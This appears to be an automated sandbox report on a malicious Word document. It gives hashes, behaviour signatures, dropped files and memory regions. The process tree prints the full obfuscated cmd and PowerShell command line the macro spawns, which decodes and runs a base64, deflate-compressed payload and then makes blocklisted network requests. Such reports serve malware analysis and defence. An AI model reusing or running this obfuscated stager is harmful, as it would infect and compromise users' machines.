Analysis

  • max time kernel
    102s
  • max time network
    110s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240508-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240508-enlocale:en-usos:windows10-2004-x64system
  • submitted
    09-05-2024 23:17

General

  • Target

    2c327945c69b569e0c70c37e404c40b6_JaffaCakes118.doc

  • Size

    74KB

  • MD5

    2c327945c69b569e0c70c37e404c40b6

  • SHA1

    f0706533a4839ccea5a482cf1006e60717bb66af

  • SHA256

    e2572648abd3d970d1c2fb7c534913887f1d912f880c20281ca02e853fee129f

  • SHA512

    b94697b5a2e132659e8d44f575e025660a7725ed41ea013b3caa314395778584da6565d3004181ab6daa888f3290acef95af11138e77bfd320897327fdafe7dc

  • SSDEEP

    768:DXirRkVucRFoqkp59YBvLdTv9ReVi4eFov5UHRFBt+1o94GYHerHihX51CLW:j4Rkocn1kp59gxBK85fBt+a9txTiLI

Score
10/10

Malware Config

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Blocklisted process makes network request 7 IoCs
  • Checks processor information in registry 2 TTPs 3 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Enumerates system info in registry 2 TTPs 3 IoCs
  • Suspicious behavior: AddClipboardFormatListener 2 IoCs
  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 7 IoCs
  • Suspicious use of WriteProcessMemory 4 IoCs

Processes

  • C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
    "C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\2c327945c69b569e0c70c37e404c40b6_JaffaCakes118.doc" /o ""
    1⤵
    • Checks processor information in registry
    • Enumerates system info in registry
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:1040
    • C:\Windows\SYSTEM32\CMD.exe
      CMD c:\wINDOWs\SySteM32\cMd.eXE /c"seT oDB= ( NeW-ObjECT IO.COMPresSioN.DeFLatEStREAm( [Io.MemoRysTreAm] [cONvErt]::fROMbASE64sTRIng( 'NZDLbsIwEEV/JYtIBlHsPmipiCLxLEJCbLpg042dTBI3xnZtJyag/HsTWrYz554Z3VBtWSzBjxX7hsQFB3D4CGwlOEgXhVb7GBXO6RkhBQidgi0zfgaDE3Ui5akujzs9/wey5sJLiivJtcK2JCl1lOSgCM07GfG0fiY1N5Ul++N2YlN3DwqwTFVJAdb0Z29uoXLLHZCnxiWXbCNWhzvtvceQMW4YFzm3tKF/35iFFz96eseYMjnYsTa8M5qKrOlEm8fXZfOO8KcW3A3QHA2jkKcyiAP0Nn1BUbi/LOMQZD1zcNIj9IVG/X6EMJwBRZkyQJNiEC42NuAy6OsZXp1prmFXI14rL4Wi6QcXcGMegl44jHayViWMd530NolY5ymjNqEuKa5t+ws=' ) , [SYstEm.Io.coMpResSioN.cOMPrEsSIONmOde]::deCOMprEsS) ^| % { NeW-ObjECT sYsTEM.iO.StReaMReaDeR( $_ ,[Text.EnCoDINg]::aSCiI )} ^|%{ $_.rEadtOEnD( ) })^|^&((get-VariABlE '*MDR*').nAME[3,11,2]-join'')&& POwErSheLL Set-ITem (\"VAriAB\" +\"Le:zl\" + \"AH\" + \"3g\") ( [tYPE]( \"{0}{3}{1}{2}\"-F'En','RoN','menT','vi' ) ) ;( ^&( \"{0}{1}\" -f'D','IR') (\"{3}{1}{2}{4}{0}\"-f 'oncONtext','R','i','va','ablE:exECuti' )).\"vAL`UE\".\"InV`OKE`COMMA`Nd\".(\"{2}{0}{1}\"-f 'voKEsC','RIPT','IN' ).Invoke( ( ${z`lAh3g}::( \"{5}{0}{4}{3}{6}{2}{1}\" -f 'eT','LE','tVARIAb','e','eNvIrOnm','g','N' ).Invoke('oDB',(\"{1}{2}{0}\" -f 'Ss','Pro','CE' ))))"
      2⤵
      • Process spawned unexpected child process
      • Suspicious use of WriteProcessMemory
      PID:1732
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        POwErSheLL Set-ITem (\"VAriAB\" +\"Le:zl\" + \"AH\" + \"3g\") ( [tYPE]( \"{0}{3}{1}{2}\"-F'En','RoN','menT','vi' ) ) ;( &( \"{0}{1}\" -f'D','IR') (\"{3}{1}{2}{4}{0}\"-f 'oncONtext','R','i','va','ablE:exECuti' )).\"vAL`UE\".\"InV`OKE`COMMA`Nd\".(\"{2}{0}{1}\"-f 'voKEsC','RIPT','IN' ).Invoke( ( ${z`lAh3g}::( \"{5}{0}{4}{3}{6}{2}{1}\" -f 'eT','LE','tVARIAb','e','eNvIrOnm','g','N' ).Invoke('oDB',(\"{1}{2}{0}\" -f 'Ss','Pro','CE' ))))
        3⤵
        • Blocklisted process makes network request
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:2624

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

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Downloads

  • C:\Users\Admin\AppData\Local\Temp\TCD9521.tmp\gb.xsl

    Filesize

    262KB

    MD5

    51d32ee5bc7ab811041f799652d26e04

    SHA1

    412193006aa3ef19e0a57e16acf86b830993024a

    SHA256

    6230814bf5b2d554397580613e20681752240ab87fd354ececf188c1eabe0e97

    SHA512

    5fc5d889b0c8e5ef464b76f0c4c9e61bda59b2d1205ac9417cc74d6e9f989fb73d78b4eb3044a1a1e1f2c00ce1ca1bd6d4d07eeadc4108c7b124867711c31810

  • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_f4joptjx.lxl.ps1

    Filesize

    60B

    MD5

    d17fe0a3f47be24a6453e9ef58c94641

    SHA1

    6ab83620379fc69f80c0242105ddffd7d98d5d9d

    SHA256

    96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

    SHA512

    5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

  • memory/1040-10-0x00007FF98C270000-0x00007FF98C465000-memory.dmp

    Filesize

    2.0MB

  • memory/1040-2-0x00007FF94C2F0000-0x00007FF94C300000-memory.dmp

    Filesize

    64KB

  • memory/1040-5-0x00007FF94C2F0000-0x00007FF94C300000-memory.dmp

    Filesize

    64KB

  • memory/1040-0-0x00007FF94C2F0000-0x00007FF94C300000-memory.dmp

    Filesize

    64KB

  • memory/1040-20-0x00007FF98C270000-0x00007FF98C465000-memory.dmp

    Filesize

    2.0MB

  • memory/1040-7-0x00007FF98C270000-0x00007FF98C465000-memory.dmp

    Filesize

    2.0MB

  • memory/1040-8-0x00007FF98C270000-0x00007FF98C465000-memory.dmp

    Filesize

    2.0MB

  • memory/1040-21-0x00007FF98C270000-0x00007FF98C465000-memory.dmp

    Filesize

    2.0MB

  • memory/1040-11-0x00007FF98C270000-0x00007FF98C465000-memory.dmp

    Filesize

    2.0MB

  • memory/1040-19-0x00007FF98C270000-0x00007FF98C465000-memory.dmp

    Filesize

    2.0MB

  • memory/1040-13-0x00007FF949C10000-0x00007FF949C20000-memory.dmp

    Filesize

    64KB

  • memory/1040-9-0x00007FF98C270000-0x00007FF98C465000-memory.dmp

    Filesize

    2.0MB

  • memory/1040-14-0x00007FF949C10000-0x00007FF949C20000-memory.dmp

    Filesize

    64KB

  • memory/1040-15-0x00007FF98C270000-0x00007FF98C465000-memory.dmp

    Filesize

    2.0MB

  • memory/1040-16-0x00007FF98C270000-0x00007FF98C465000-memory.dmp

    Filesize

    2.0MB

  • memory/1040-18-0x00007FF98C270000-0x00007FF98C465000-memory.dmp

    Filesize

    2.0MB

  • memory/1040-6-0x00007FF98C270000-0x00007FF98C465000-memory.dmp

    Filesize

    2.0MB

  • memory/1040-4-0x00007FF94C2F0000-0x00007FF94C300000-memory.dmp

    Filesize

    64KB

  • memory/1040-12-0x00007FF98C270000-0x00007FF98C465000-memory.dmp

    Filesize

    2.0MB

  • memory/1040-17-0x00007FF98C270000-0x00007FF98C465000-memory.dmp

    Filesize

    2.0MB

  • memory/1040-42-0x00007FF98C270000-0x00007FF98C465000-memory.dmp

    Filesize

    2.0MB

  • memory/1040-43-0x00007FF98C270000-0x00007FF98C465000-memory.dmp

    Filesize

    2.0MB

  • memory/1040-44-0x00007FF98C270000-0x00007FF98C465000-memory.dmp

    Filesize

    2.0MB

  • memory/1040-560-0x00007FF98C270000-0x00007FF98C465000-memory.dmp

    Filesize

    2.0MB

  • memory/1040-1-0x00007FF94C2F0000-0x00007FF94C300000-memory.dmp

    Filesize

    64KB

  • memory/1040-3-0x00007FF98C30D000-0x00007FF98C30E000-memory.dmp

    Filesize

    4KB

  • memory/1040-536-0x00007FF98C270000-0x00007FF98C465000-memory.dmp

    Filesize

    2.0MB

  • memory/1040-537-0x00007FF98C270000-0x00007FF98C465000-memory.dmp

    Filesize

    2.0MB

  • memory/1040-538-0x00007FF98C270000-0x00007FF98C465000-memory.dmp

    Filesize

    2.0MB

  • memory/1040-556-0x00007FF94C2F0000-0x00007FF94C300000-memory.dmp

    Filesize

    64KB

  • memory/1040-559-0x00007FF94C2F0000-0x00007FF94C300000-memory.dmp

    Filesize

    64KB

  • memory/1040-558-0x00007FF94C2F0000-0x00007FF94C300000-memory.dmp

    Filesize

    64KB

  • memory/1040-557-0x00007FF94C2F0000-0x00007FF94C300000-memory.dmp

    Filesize

    64KB

  • memory/2624-53-0x00000202C58F0000-0x00000202C5912000-memory.dmp

    Filesize

    136KB